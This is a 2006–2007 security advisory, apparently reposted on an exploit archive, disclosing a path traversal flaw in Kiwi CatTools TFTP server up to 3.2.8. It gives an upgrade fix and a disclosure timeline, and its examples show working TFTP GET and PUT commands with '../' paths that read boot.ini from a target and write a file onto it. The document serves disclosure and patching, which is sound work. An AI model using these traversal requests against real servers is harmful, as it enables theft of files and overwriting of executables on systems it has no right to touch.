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Kiwi CatTools TFTP <= 3.2.8 Remote Path Traversal Vulnerability
[=============================================================== Kiwi CatTools TFTP <= 3.2.8 Remote Path Traversal Vulnerability =============================================================== Path traversal security vulnerability in Kiwi CatTools TFTP up to 3.2.8 server can lead to information disclosure and remote code execution Risk: High DISCUSSION Kiwi CatTools TFTP server doesn.t properly verify filename in PUT and GET request which can be used to download/upload any file from/to server. Default setting allows replacing of existing files. Such settings lead to probability to replace an executable files and run code on attacker choice. EXAMPLES C:\>tftp -i 10.1.1.2 GET /x/../../../../../boot.ini boot.txt Transfer successful: 212 bytes in 1 second, 212 bytes/s C:\>type boot.txt [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS C:\>tftp -i 10.1.1.2 PUT boot.txt /x/../../../../../pttest.txt Transfer successful: 212 bytes in 1 second, 212 bytes/s C:\>type pttest.txt [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS C:\> SOLUTION Upgrade to CatTools 3.2.9 which is available for download at http://www.kiwisyslog.com/downloads.php CREDITS Sergey Gordeychik of Positive Technologies (www.ptsecurity.com) DISCLOSURE TIMELINE Vulnerability discovered: 11/20/2006 Initial vendor contact: 12/08/2006 Patch released: 02/13/2007 Public disclosure: 02/27/2007 # 0day.today [2024-07-05] #